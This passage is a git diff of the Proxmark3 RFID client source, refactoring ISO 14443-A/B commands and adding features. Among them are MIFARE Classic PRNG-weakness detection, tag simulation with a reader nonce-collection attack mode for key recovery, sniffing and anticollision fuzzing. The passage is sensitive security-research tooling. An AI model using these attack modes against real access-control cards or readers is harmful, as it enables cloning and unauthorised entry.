card.ats[pos + 1], card.ats[pos + 1]); switch (card.ats[pos + 2] & 0xf0) { - case 0x10: - PrintAndLog(" 1x -> MIFARE DESFire"); - break; - case 0x20: - PrintAndLog(" 2x -> MIFARE Plus"); - break; + case 0x10: PrintAndLogEx(NORMAL, " 1x -> MIFARE DESFire"); break; + case 0x20: PrintAndLogEx(NORMAL, " 2x -> MIFARE Plus"); break; } switch (card.ats[pos + 2] & 0x0f) { - case 0x00: - PrintAndLog(" x0 -> <1 kByte"); - break; - case 0x01: - PrintAndLog(" x0 -> 1 kByte"); - break; - case 0x02: - PrintAndLog(" x0 -> 2 kByte"); - break; - case 0x03: - PrintAndLog(" x0 -> 4 kByte"); - break; - case 0x04: - PrintAndLog(" x0 -> 8 kByte"); - break; + case 0x00: PrintAndLogEx(NORMAL, " x0 -> <1 kByte"); break; + case 0x01: PrintAndLogEx(NORMAL, " x1 -> 1 kByte"); break; + case 0x02: PrintAndLogEx(NORMAL, " x2 -> 2 kByte"); break; + case 0x03: PrintAndLogEx(NORMAL, " x3 -> 4 kByte"); break; + case 0x04: PrintAndLogEx(NORMAL, " x4 -> 8 kByte"); break; } switch (card.ats[pos + 3] & 0xf0) { - case 0x00: - PrintAndLog(" 0x -> Engineering sample"); - break; - case 0x20: - PrintAndLog(" 2x -> Released"); - break; + case 0x00: PrintAndLogEx(NORMAL, " 0x -> Engineering sample"); break; + case 0x20: PrintAndLogEx(NORMAL, " 2x -> Released"); break; } switch (card.ats[pos + 3] & 0x0f) { - case 0x00: - PrintAndLog(" x0 -> Generation 1"); - break; - case 0x01: - PrintAndLog(" x1 -> Generation 2"); - break; - case 0x02: - PrintAndLog(" x2 -> Generation 3"); - break; + case 0x00: PrintAndLogEx(NORMAL, " x0 -> Generation 1"); break; + case 0x01: PrintAndLogEx(NORMAL, " x1 -> Generation 2"); break; + case 0x02: PrintAndLogEx(NORMAL, " x2 -> Generation 3"); break; } switch (card.ats[pos + 4] & 0x0f) { - case 0x00: - PrintAndLog(" x0 -> Only VCSL supported"); - break; - case 0x01: - PrintAndLog(" x1 -> VCS, VCSL, and SVC supported"); - break; - case 0x0E: - PrintAndLog(" xE -> no VCS command supported"); - break; + case 0x00: PrintAndLogEx(NORMAL, " x0 -> Only VCSL supported"); break; + case 0x01: PrintAndLogEx(NORMAL, " x1 -> VCS, VCSL, and SVC supported"); break; + case 0x0E: PrintAndLogEx(NORMAL, " xE -> no VCS command supported"); break; } } } } else { - PrintAndLog("proprietary non iso14443-4 card found, RATS not supported"); + PrintAndLogEx(INFO, "proprietary non iso14443-4 card found, RATS not supported"); } - + + detect_classic_magic(); + + if (isMifareClassic) { + int res = detect_classic_prng(); + if ( res == 1 ) + PrintAndLogEx(SUCCESS, "Prng detection: WEAK"); + else if (res == 0 ) + PrintAndLogEx(SUCCESS, "Prng detection: HARD"); + else + PrintAndLogEx(FAILED, "prng detection: failed"); + + if ( do_nack_test ) + detect_classic_nackbug(silent); + } + return select_status; } // Collect ISO14443 Type A UIDs -int CmdHF14ACUIDs(const char *Cmd) -{ +int CmdHF14ACUIDs(const char *Cmd) { // requested number of UIDs int n = atoi(Cmd); // collect at least 1 (e.g. if no parameter was given) n = n > 0 ? n : 1; - PrintAndLog("Collecting %d UIDs", n); - PrintAndLog("Start: %u", time(NULL)); + uint64_t t1 = msclock(); + PrintAndLogEx(SUCCESS, "collecting %d UIDs", n); + // repeat n times for (int i = 0; i < n; i++) { + + if (ukbhit()) { + int gc = getchar(); (void)gc; + PrintAndLogEx(NORMAL, "\n[!] aborted via keyboard!\n"); + break; + } + // execute anticollision procedure - UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_CONNECT, 0, 0}}; + UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_CONNECT | ISO14A_NO_RATS, 0, 0}}; SendCommand(&c); UsbCommand resp; @@ -406,152 +550,290 @@ int CmdHF14ACUIDs(const char *Cmd) // check if command failed if (resp.arg[0] == 0) { - PrintAndLog("Card select failed."); + PrintAndLogEx(WARNING, "card select failed."); } else { char uid_string[20]; for (uint16_t i = 0; i < card->uidlen; i++) { sprintf(&uid_string[2*i], "%02X", card->uid[i]); } - PrintAndLog("%s", uid_string); + PrintAndLogEx(NORMAL, "%s", uid_string); } } - PrintAndLog("End: %u", time(NULL)); - + PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock()-t1)/1000); return 1; } // ## simulate iso14443a tag -// ## greg - added ability to specify tag UID -int CmdHF14ASim(const char *Cmd) -{ - UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,{0,0,0}}; +int CmdHF14ASim(const char *Cmd) { + bool errors = false; + uint8_t flags = 0; + uint8_t tagtype = 1; + uint8_t cmdp = 0; + uint8_t uid[10] = {0,0,0,0,0,0,0,0,0,0}; + int uidlen = 0; + bool useUIDfromEML = true; + bool setEmulatorMem = false; + bool verbose = false; + nonces_t data[1]; - // Retrieve the tag type - uint8_t tagtype = param_get8ex(Cmd,0,0,10); - - // When no argument was given, just print help message - if (tagtype == 0) { - PrintAndLog(""); - PrintAndLog(" Emulating ISO/IEC 14443 type A tag with 4 or 7 byte UID"); - PrintAndLog(""); - PrintAndLog(" syntax: hf 14a sim "); - PrintAndLog(" types: 1 = MIFARE Classic"); - PrintAndLog(" 2 = MIFARE Ultralight"); - PrintAndLog(" 3 = MIFARE DESFIRE"); - PrintAndLog(" 4 = ISO/IEC 14443-4"); - PrintAndLog(""); - return 1; + while(param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch(param_getchar(Cmd, cmdp)) { + case 'h': + case 'H': + return usage_hf_14a_sim(); + case 't': + case 'T': + // Retrieve the tag type + tagtype = param_get8ex(Cmd, cmdp+1, 0, 10); + if (tagtype == 0) + errors = true; + cmdp += 2; + break; + case 'u': + case 'U': + // Retrieve the full 4,7,10 byte long uid + param_gethex_ex(Cmd, cmdp+1, uid, &uidlen); + switch(uidlen) { + //case 20: flags |= FLAG_10B_UID_IN_DATA; break; + case 14: flags |= FLAG_7B_UID_IN_DATA; break; + case 8: flags |= FLAG_4B_UID_IN_DATA; break; + default: errors = true; break; + } + if (!errors) { + PrintAndLogEx(SUCCESS, "Emulating ISO/IEC 14443 type A tag with %d byte UID (%s)", uidlen>>1, sprint_hex(uid, uidlen>>1)); + useUIDfromEML = false; + } + cmdp += 2; + break; + case 'v': + case 'V': + verbose = true; + cmdp++; + break; + case 'x': + case 'X': + flags |= FLAG_NR_AR_ATTACK; + cmdp++; + break; + case 'e': + case 'E': + setEmulatorMem = true; + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } } - - // Store the tag type - c.arg[0] = tagtype; - - // Retrieve the full 4 or 7 byte long uid - uint64_t long_uid = param_get64ex(Cmd,1,0,16); - // Are we handling the (optional) second part uid? - if (long_uid > 0xffffffff) { - PrintAndLog("Emulating ISO/IEC 14443 type A tag with 7 byte UID (%014"llx")",long_uid); - // Store the second part - c.arg[2] = (long_uid & 0xffffffff); - long_uid >>= 32; - // Store the first part, ignore the first byte, it is replaced by cascade byte (0x88) - c.arg[1] = (long_uid & 0xffffff); - } else { - PrintAndLog("Emulating ISO/IEC 14443 type A tag with 4 byte UID (%08x)",long_uid); - // Only store the first part - c.arg[1] = long_uid & 0xffffffff; + //Validations + if (errors || cmdp == 0) return usage_hf_14a_sim(); + + if ( useUIDfromEML ) + flags |= FLAG_UID_IN_EMUL; + + UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,{ tagtype, flags, 0 }}; + memcpy(c.d.asBytes, uid, uidlen>>1); + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + + PrintAndLogEx(SUCCESS, "press pm3-button to abort simulation"); + + while( !ukbhit() ){ + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500) ) continue; + if ( !(flags & FLAG_NR_AR_ATTACK) ) break; + if ( (resp.arg[0] & 0xffff) != CMD_SIMULATE_MIFARE_CARD ) break; + + memcpy(data, resp.d.asBytes, sizeof(data) ); + readerAttack(data[0], setEmulatorMem, verbose); } -/* - // At lease save the mandatory first part of the UID - c.arg[0] = long_uid & 0xffffffff; - - - // At lease save the mandatory first part of the UID - c.arg[0] = long_uid & 0xffffffff; - - if (c.arg[1] == 0) { - PrintAndLog("Emulating ISO/IEC 14443 type A tag with UID %01d %08x %08x",c.arg[0],c.arg[1],c.arg[2]); - } - - switch (c.arg[0]) { - case 1: { - PrintAndLog("Emulating ISO/IEC 14443-3 type A tag with 4 byte UID"); - UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,param_get32ex(Cmd,0,0,10),param_get32ex(Cmd,1,0,16),param_get32ex(Cmd,2,0,16)}; - } break; - case 2: { - PrintAndLog("Emulating ISO/IEC 14443-4 type A tag with 7 byte UID"); - } break; - default: { - PrintAndLog("Error: unkown tag type (%d)",c.arg[0]); - PrintAndLog("syntax: hf 14a sim ",c.arg[0]); - PrintAndLog(" type1: 4 ",c.arg[0]); - - return 1; - } break; - } -*/ -/* - unsigned int hi = 0, lo = 0; - int n = 0, i = 0; - while (sscanf(&Cmd[i++], "%1x", &n ) == 1) { - hi= (hi << 4) | (lo >> 28); - lo= (lo << 4) | (n & 0xf); - } -*/ -// UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,param_get32ex(Cmd,0,0,10),param_get32ex(Cmd,1,0,16),param_get32ex(Cmd,2,0,16)}; -// PrintAndLog("Emulating ISO/IEC 14443 type A tag with UID %01d %08x %08x",c.arg[0],c.arg[1],c.arg[2]); - SendCommand(&c); - return 0; + showSectorTable(); + return 0; } -int CmdHF14ASnoop(const char *Cmd) { - int param = 0; - - if (param_getchar(Cmd, 0) == 'h') { - PrintAndLog("It get data from the field and saves it into command buffer."); - PrintAndLog("Buffer accessible from command hf 14a list."); - PrintAndLog("Usage: hf 14a snoop [c][r]"); - PrintAndLog("c - triggered by first data from card"); - PrintAndLog("r - triggered by first 7-bit request from reader (REQ,WUP,...)"); - PrintAndLog("sample: hf 14a snoop c r"); - return 0; - } - +int CmdHF14ASniff(const char *Cmd) { + int param = 0; + uint8_t ctmp; for (int i = 0; i < 2; i++) { - char ctmp = param_getchar(Cmd, i); + ctmp = param_getchar(Cmd, i); + if (ctmp == 'h' || ctmp == 'H') return usage_hf_14a_sniff(); if (ctmp == 'c' || ctmp == 'C') param |= 0x01; if (ctmp == 'r' || ctmp == 'R') param |= 0x02; } + UsbCommand c = {CMD_SNOOP_ISO_14443a, {param, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} - UsbCommand c = {CMD_SNOOP_ISO_14443a, {param, 0, 0}}; - SendCommand(&c); - return 0; +int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { + uint16_t cmdc = 0; + + if (activateField) { + cmdc |= ISO14A_CONNECT; + } + if (leaveSignalON) + cmdc |= ISO14A_NO_DISCONNECT; + + // "Command APDU" length should be 5+255+1, but javacard's APDU buffer might be smaller - 133 bytes + // https://stackoverflow.com/questions/32994936/safe-max-java-card-apdu-data-command-and-respond-size + // here length USB_CMD_DATA_SIZE=512 + // timeout must be authomatically set by "get ATS" + UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_APDU | cmdc, (datainlen & 0xFFFF), 0}}; + memcpy(c.d.asBytes, datain, datainlen); + SendCommand(&c); + + uint8_t *recv; + UsbCommand resp; + + if (activateField) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + PrintAndLogEx(NORMAL, "APDU ERROR: Proxmark connection timeout."); + return 1; + } + if (resp.arg[0] != 1) { + PrintAndLogEx(NORMAL, "APDU ERROR: Proxmark error %d.", resp.arg[0]); + return 1; + } + } + + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + recv = resp.d.asBytes; + int iLen = resp.arg[0]; + + *dataoutlen = iLen - 2; + if (*dataoutlen < 0) + *dataoutlen = 0; + + if (maxdataoutlen && *dataoutlen > maxdataoutlen) { + PrintAndLogEx(NORMAL, "APDU ERROR: Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); + return 2; + } + + memcpy(dataout, recv, *dataoutlen); + + if(!iLen) { + PrintAndLogEx(NORMAL, "APDU ERROR: No APDU response."); + return 1; + } + + // check block TODO + if (iLen == -2) { + PrintAndLogEx(NORMAL, "APDU ERROR: Block type mismatch."); + return 2; + } + + // CRC Check + if (iLen == -1) { + PrintAndLogEx(NORMAL, "APDU ERROR: ISO 14443A CRC error."); + return 3; + } + + // check apdu length + if (iLen < 4) { + PrintAndLogEx(NORMAL, "APDU ERROR: Small APDU response. Len=%d", iLen); + return 2; + } + + } else { + PrintAndLogEx(NORMAL, "APDU ERROR: Reply timeout."); + return 4; + } + + return 0; +} + +int CmdHF14AAPDU(const char *cmd) { + uint8_t data[USB_CMD_DATA_SIZE]; + int datalen = 0; + bool activateField = false; + bool leaveSignalON = false; + bool decodeTLV = false; + + if (strlen(cmd) < 2) return usage_hf_14a_apdu(); + + int cmdp = 0; + while(param_getchar(cmd, cmdp) != 0x00) { + char c = param_getchar(cmd, cmdp); + if ((c == '-') && (param_getlength(cmd, cmdp) == 2)) + switch (tolower(param_getchar_indx(cmd, 1, cmdp))) { + case 'h': + return usage_hf_14a_apdu(); + case 's': + activateField = true; + break; + case 'k': + leaveSignalON = true; + break; + case 't': + decodeTLV = true; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar_indx(cmd, 1, cmdp)); + return 1; + } + + if (isxdigit(c)) { + // len = data + PCB(1b) + CRC(2b) + switch(param_gethex_to_eol(cmd, cmdp, data, sizeof(data) - 1 - 2, &datalen)) { + case 1: + PrintAndLogEx(WARNING, "invalid HEX value."); + return 1; + case 2: + PrintAndLogEx(WARNING, "APDU too large."); + return 1; + case 3: + PrintAndLogEx(WARNING, "hex must have even number of digits."); + return 1; + } + + // we get all the hex to end of line with spaces + break; + } + + cmdp++; + } + + PrintAndLogEx(NORMAL, ">>>>[%s%s%s] %s", activateField ? "sel ": "", leaveSignalON ? "keep ": "", decodeTLV ? "TLV": "", sprint_hex(data, datalen)); + + int res = ExchangeAPDU14a(data, datalen, activateField, leaveSignalON, data, USB_CMD_DATA_SIZE, &datalen); + + if (res) + return res; + + PrintAndLogEx(NORMAL, "<<<< %s", sprint_hex(data, datalen)); + + PrintAndLogEx(SUCCESS, "APDU response: %02x %02x - %s", data[datalen - 2], data[datalen - 1], GetAPDUCodeDescription(data[datalen - 2], data[datalen - 1])); + + // TLV decoder + if (decodeTLV && datalen > 4) { + TLVPrintFromBuffer(data, datalen - 2); + } + + return 0; } int CmdHF14ACmdRaw(const char *cmd) { UsbCommand c = {CMD_READER_ISO_14443a, {0, 0, 0}}; - uint8_t reply=1; - uint8_t crc=0; - uint8_t power=0; - uint8_t active=0; - uint8_t active_select=0; - uint16_t numbits=0; + bool reply = 1; + bool crc = false; + bool power = false; + bool active = false; + bool active_select = false; + bool no_rats = false; + uint16_t numbits = 0; + bool bTimeout = false; + uint32_t timeout = 0; + bool topazmode = false; char buf[5]=""; - int i=0; - uint8_t data[100]; - unsigned int datalen=0, temp; + int i = 0; + uint8_t data[USB_CMD_DATA_SIZE]; + uint16_t datalen = 0; + uint32_t temp; - if (strlen(cmd)<2) { - PrintAndLog("Usage: hf 14a raw [-r] [-c] [-p] [-f] [-b] <0A 0B 0C ... hex>"); - PrintAndLog(" -r do not read response"); - PrintAndLog(" -c calculate and append CRC"); - PrintAndLog(" -p leave the signal field ON after receive"); - PrintAndLog(" -a active signal field ON without select"); - PrintAndLog(" -s active signal field ON with select"); - PrintAndLog(" -b number of bits to send. Useful for send partial byte"); - return 0; - } + if (strlen(cmd) < 2) return usage_hf_14a_raw(); // strip while (*cmd==' ' || *cmd=='\t') cmd++; @@ -560,137 +842,197 @@ int CmdHF14ACmdRaw(const char *cmd) { if (cmd[i]==' ' || cmd[i]=='\t') { i++; continue; } if (cmd[i]=='-') { switch (cmd[i+1]) { + case 'H': + case 'h': + return usage_hf_14a_raw(); case 'r': - reply=0; + reply = false; break; case 'c': - crc=1; + crc = true; break; case 'p': - power=1; + power = true; break; case 'a': - active=1; + active = true; break; case 's': - active_select=1; + active_select = true; break; case 'b': - sscanf(cmd+i+2,"%d",&temp); + sscanf(cmd+i+2, "%d", &temp); numbits = temp & 0xFFFF; i+=3; while(cmd[i]!=' ' && cmd[i]!='\0') { i++; } i-=2; break; + case 't': + bTimeout = true; + sscanf(cmd+i+2, "%d", &temp); + timeout = temp; + i+=3; + while(cmd[i]!=' ' && cmd[i]!='\0') { i++; } + i-=2; + break; + case 'T': + topazmode = true; + break; + case '3': + no_rats = true; + break; default: - PrintAndLog("Invalid option"); - return 0; + return usage_hf_14a_raw(); } - i+=2; + i += 2; continue; } if ((cmd[i]>='0' && cmd[i]<='9') || (cmd[i]>='a' && cmd[i]<='f') || (cmd[i]>='A' && cmd[i]<='F') ) { - buf[strlen(buf)+1]=0; - buf[strlen(buf)]=cmd[i]; + buf[strlen(buf)+1] = 0; + buf[strlen(buf)] = cmd[i]; i++; - if (strlen(buf)>=2) { - sscanf(buf,"%x",&temp); - data[datalen]=(uint8_t)(temp & 0xff); - datalen++; - *buf=0; + if (strlen(buf) >= 2) { + sscanf(buf, "%x", &temp); + data[datalen] = (uint8_t)(temp & 0xff); + *buf = 0; + if (++datalen >= sizeof(data)){ + if (crc) + PrintAndLogEx(NORMAL, "Buffer is full, we can't add CRC to your data"); + break; + } } continue; } - PrintAndLog("Invalid char on input"); + PrintAndLogEx(NORMAL, "Invalid char on input"); return 0; } - if(crc && datalen>0) - { + + if (crc && datalen > 0 && datalen < sizeof(data)-2) { uint8_t first, second; - ComputeCrc14443(CRC_14443_A, data, datalen, &first, &second); + if (topazmode) { + compute_crc(CRC_14443_B, data, datalen, &first, &second); + } else { + compute_crc(CRC_14443_A, data, datalen, &first, &second); + } data[datalen++] = first; data[datalen++] = second; } - if(active || active_select) - { + if (active || active_select) { c.arg[0] |= ISO14A_CONNECT; - if(active) + if (active) c.arg[0] |= ISO14A_NO_SELECT; } - if(power) + + if (bTimeout){ + #define MAX_TIMEOUT 40542464 // = (2^32-1) * (8*16) / 13560000Hz * 1000ms/s + c.arg[0] |= ISO14A_SET_TIMEOUT; + if(timeout > MAX_TIMEOUT) { + timeout = MAX_TIMEOUT; + PrintAndLogEx(NORMAL, "Set timeout to 40542 seconds (11.26 hours). The max we can wait for response"); + } + c.arg[2] = 13560000 / 1000 / (8*16) * timeout; // timeout in ETUs (time to transfer 1 bit, approx. 9.4 us) + } + + if (power) { c.arg[0] |= ISO14A_NO_DISCONNECT; - if(datalen>0) + } + + if (datalen > 0) { c.arg[0] |= ISO14A_RAW; + } + + if (topazmode) { + c.arg[0] |= ISO14A_TOPAZMODE; + } + if (no_rats) { + c.arg[0] |= ISO14A_NO_RATS; + } + + // Max buffer is USB_CMD_DATA_SIZE + datalen = (datalen > USB_CMD_DATA_SIZE) ? USB_CMD_DATA_SIZE : datalen; + + c.arg[1] = (datalen & 0xFFFF) | ((uint32_t)(numbits << 16)); + memcpy(c.d.asBytes, data, datalen); - c.arg[1] = datalen; - c.arg[2] = numbits; - memcpy(c.d.asBytes,data,datalen); - + clearCommandBuffer(); SendCommand(&c); if (reply) { - if(active_select) - waitCmd(1); - if(datalen>0) + int res = 0; + if (active_select) + res = waitCmd(1); + if (!res && datalen > 0) waitCmd(0); - } // if reply + } return 0; } -static void waitCmd(uint8_t iSelect) -{ - uint8_t *recv; +static int waitCmd(uint8_t iSelect) { UsbCommand resp; - char *hexout; + uint16_t len = 0; - if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { - recv = resp.d.asBytes; - uint8_t iLen = iSelect ? resp.arg[1] : resp.arg[0]; - PrintAndLog("received %i octets",iLen); - if(!iLen) - return; - hexout = (char *)malloc(iLen * 3 + 1); - if (hexout != NULL) { - for (int i = 0; i < iLen; i++) { // data in hex - sprintf(&hexout[i * 3], "%02X ", recv[i]); - } - PrintAndLog("%s", hexout); - free(hexout); - } else { - PrintAndLog("malloc failed your client has low memory?"); - } + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + len = (resp.arg[0] & 0xFFFF); + if (iSelect){ + len = (resp.arg[1] & 0xFFFF); + if (len){ + PrintAndLogEx(NORMAL, "Card selected. UID[%i]:", len); + } else { + PrintAndLogEx(WARNING, "Can't select card."); + } + } else { + PrintAndLogEx(NORMAL, "received %i bytes", len); + } + + if (!len) + return 1; + + PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.d.asBytes, len) ); } else { - PrintAndLog("timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return 3; } + return 0; } -static command_t CommandTable[] = -{ - {"help", CmdHelp, 1, "This help"}, - {"list", CmdHF14AList, 0, "List ISO 14443a history"}, - {"reader", CmdHF14AReader, 0, "Act like an ISO14443 Type A reader"}, - {"cuids", CmdHF14ACUIDs, 0, " Collect n>0 ISO14443 Type A UIDs in one go"}, - {"sim", CmdHF14ASim, 0, " -- Fake ISO 14443a tag"}, - {"snoop", CmdHF14ASnoop, 0, "Eavesdrop ISO 14443 Type A"}, - {"raw", CmdHF14ACmdRaw, 0, "Send raw hex data to tag"}, - {NULL, NULL, 0, NULL} +int CmdHF14AAntiFuzz(const char *cmd) { + + if (strlen(cmd) < 1) return usage_hf_14a_antifuzz(); + + // read param length + uint8_t arg0 = 4; + + UsbCommand c = {CMD_ANTIFUZZ_ISO_14443a, {arg0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} + +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"list", CmdHF14AList, 0, "[Deprecated] List ISO 14443-a history"}, + {"info", CmdHF14AInfo, 0, "Tag information"}, + {"reader", CmdHF14AReader, 0, "Act like an ISO14443-a reader"}, + {"cuids", CmdHF14ACUIDs, 0, " Collect n>0 ISO14443-a UIDs in one go"}, + {"sim", CmdHF14ASim, 0, " -- Simulate ISO 14443-a tag"}, + {"sniff", CmdHF14ASniff, 0, "sniff ISO 14443-a traffic"}, + {"apdu", CmdHF14AAPDU, 0, "Send ISO 14443-4 APDU to tag"}, + {"raw", CmdHF14ACmdRaw, 0, "Send raw hex data to tag"}, + {"antifuzz", CmdHF14AAntiFuzz, 0, "Fuzzing the anticollision phase. Warning! Readers may react strange"}, + {NULL, NULL, 0, NULL} }; int CmdHF14A(const char *Cmd) { - // flush - WaitForResponseTimeout(CMD_ACK,NULL,100); - - // parse - CmdsParse(CommandTable, Cmd); - return 0; + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; } -int CmdHelp(const char *Cmd) -{ +int CmdHelp(const char *Cmd) { CmdsHelp(CommandTable); return 0; } diff --git a/client/cmdhf14a.h b/client/cmdhf14a.h index 56329bed1..b2ae5896e 100644 --- a/client/cmdhf14a.h +++ b/client/cmdhf14a.h @@ -1,7 +1,7 @@ //----------------------------------------------------------------------------- -// 2011, Merlok // Copyright (C) 2010 iZsh -// +// 2011, Merlok +// 2015,216,2017 iceman, marshmellow, piwi // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -12,12 +12,48 @@ #ifndef CMDHF14A_H__ #define CMDHF14A_H__ -int CmdHF14A(const char *Cmd); +#include +#include +#include +#include +#include +#include +#include "proxmark3.h" +#include "common.h" +#include "ui.h" +#include "util.h" +#include "cmdparser.h" +#include "cmdmain.h" +#include "iso14443crc.h" +#include "mifare.h" +#include "cmdhfmf.h" +#include "cmdhfmfu.h" +#include "cmdhf.h" // list cmd +#include "mifarehost.h" +#include "emv/apduinfo.h" +#include "emv/emvcore.h" -int CmdHF14AList(const char *Cmd); -int CmdHF14AMifare(const char *Cmd); -int CmdHF14AReader(const char *Cmd); -int CmdHF14ASim(const char *Cmd); -int CmdHF14ASnoop(const char *Cmd); +// structure and database for uid -> tagtype lookups +typedef struct { + uint8_t uid; + char* desc; +} manufactureName; +extern int CmdHF14A(const char *Cmd); +extern int CmdHF14AList(const char *Cmd); +extern int CmdHF14AReader(const char *Cmd); +extern int CmdHF14AInfo(const char *Cmd); +extern int CmdHF14ASim(const char *Cmd); +extern int CmdHF14ASniff(const char *Cmd); +extern int CmdHF14ACmdRaw(const char *Cmd); +extern int CmdHF14ACUIDs(const char *Cmd); +extern int CmdHF14AAntiFuzz(const char *cmd); + +extern char* getTagInfo(uint8_t uid); +extern int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); + +extern int usage_hf_14a_sim(void); +extern int usage_hf_14a_sniff(void); +extern int usage_hf_14a_raw(void); +extern int usage_hf_14a_antifuzz(void); #endif diff --git a/client/cmdhf14b.c b/client/cmdhf14b.c index c42d54c58..1bb6c67fd 100644 --- a/client/cmdhf14b.c +++ b/client/cmdhf14b.c @@ -8,408 +8,861 @@ // High frequency ISO14443B commands //----------------------------------------------------------------------------- -#include -#include -#include -#include -#include -#include "iso14443crc.h" -//#include "proxusb.h" -#include "proxmark3.h" -#include "data.h" -#include "graph.h" -#include "ui.h" -#include "cmdparser.h" #include "cmdhf14b.h" -#include "cmdmain.h" +#define TIMEOUT 2000 static int CmdHelp(const char *Cmd); -int CmdHF14BDemod(const char *Cmd) -{ - int i, j, iold; - int isum, qsum; - int outOfWeakAt; - bool negateI, negateQ; - - uint8_t data[256]; - int dataLen = 0; - - // As received, the samples are pairs, correlations against I and Q - // square waves. So estimate angle of initial carrier (or just - // quadrant, actually), and then do the demod. - - // First, estimate where the tag starts modulating. - for (i = 0; i < GraphTraceLen; i += 2) { - if (abs(GraphBuffer[i]) + abs(GraphBuffer[i + 1]) > 40) { - break; - } - } - if (i >= GraphTraceLen) { - PrintAndLog("too weak to sync"); - return 0; - } - PrintAndLog("out of weak at %d", i); - outOfWeakAt = i; - - // Now, estimate the phase in the initial modulation of the tag - isum = 0; - qsum = 0; - for (; i < (outOfWeakAt + 16); i += 2) { - isum += GraphBuffer[i + 0]; - qsum += GraphBuffer[i + 1]; - } - negateI = (isum < 0); - negateQ = (qsum < 0); - - // Turn the correlation pairs into soft decisions on the bit. - j = 0; - for (i = 0; i < GraphTraceLen / 2; i++) { - int si = GraphBuffer[j]; - int sq = GraphBuffer[j + 1]; - if (negateI) si = -si; - if (negateQ) sq = -sq; - GraphBuffer[i] = si + sq; - j += 2; - } - GraphTraceLen = i; - - i = outOfWeakAt / 2; - while (GraphBuffer[i] > 0 && i < GraphTraceLen) - i++; - if (i >= GraphTraceLen) goto demodError; - - iold = i; - while (GraphBuffer[i] < 0 && i < GraphTraceLen) - i++; - if (i >= GraphTraceLen) goto demodError; - if ((i - iold) > 23) goto demodError; - - PrintAndLog("make it to demod loop"); - - for (;;) { - iold = i; - while (GraphBuffer[i] >= 0 && i < GraphTraceLen) - i++; - if (i >= GraphTraceLen) goto demodError; - if ((i - iold) > 6) goto demodError; - - uint16_t shiftReg = 0; - if (i + 20 >= GraphTraceLen) goto demodError; - - for (j = 0; j < 10; j++) { - int soft = GraphBuffer[i] + GraphBuffer[i + 1]; - - if (abs(soft) < (abs(isum) + abs(qsum)) / 20) { - PrintAndLog("weak bit"); - } - - shiftReg >>= 1; - if(GraphBuffer[i] + GraphBuffer[i+1] >= 0) { - shiftReg |= 0x200; - } - - i+= 2; - } - - if ((shiftReg & 0x200) && !(shiftReg & 0x001)) - { - // valid data byte, start and stop bits okay - PrintAndLog(" %02x", (shiftReg >> 1) & 0xff); - data[dataLen++] = (shiftReg >> 1) & 0xff; - if (dataLen >= sizeof(data)) { - return 0; - } - } else if (shiftReg == 0x000) { - // this is EOF - break; - } else { - goto demodError; - } - } - - uint8_t first, second; - ComputeCrc14443(CRC_14443_B, data, dataLen-2, &first, &second); - PrintAndLog("CRC: %02x %02x (%s)\n", first, second, - (first == data[dataLen-2] && second == data[dataLen-1]) ? - "ok" : "****FAIL****"); - - RepaintGraphWindow(); - return 0; - -demodError: - PrintAndLog("demod error"); - RepaintGraphWindow(); - return 0; +int usage_hf_14b_info(void){ + PrintAndLogEx(NORMAL, "Usage: hf 14b info [h] [s]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " s silently"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b info"); + return 0; +} +int usage_hf_14b_reader(void){ + PrintAndLogEx(NORMAL, "Usage: hf 14b reader [h] [s]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " s silently"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b reader"); + return 0; +} +int usage_hf_14b_raw(void){ + PrintAndLogEx(NORMAL, "Usage: hf 14b raw [-h] [-r] [-c] [-p] [-s || -ss] <0A 0B 0C ... hex>"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -r do not read response"); + PrintAndLogEx(NORMAL, " -c calculate and append CRC"); + PrintAndLogEx(NORMAL, " -p leave the field on after receive"); + PrintAndLogEx(NORMAL, " -s active signal field ON with select"); + PrintAndLogEx(NORMAL, " -ss active signal field ON with select for SRx ST Microelectronics tags"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b raw -s -c -p 0200a40400"); + return 0; +} +int usage_hf_14b_sniff(void){ + PrintAndLogEx(NORMAL, "It get data from the field and saves it into command buffer."); + 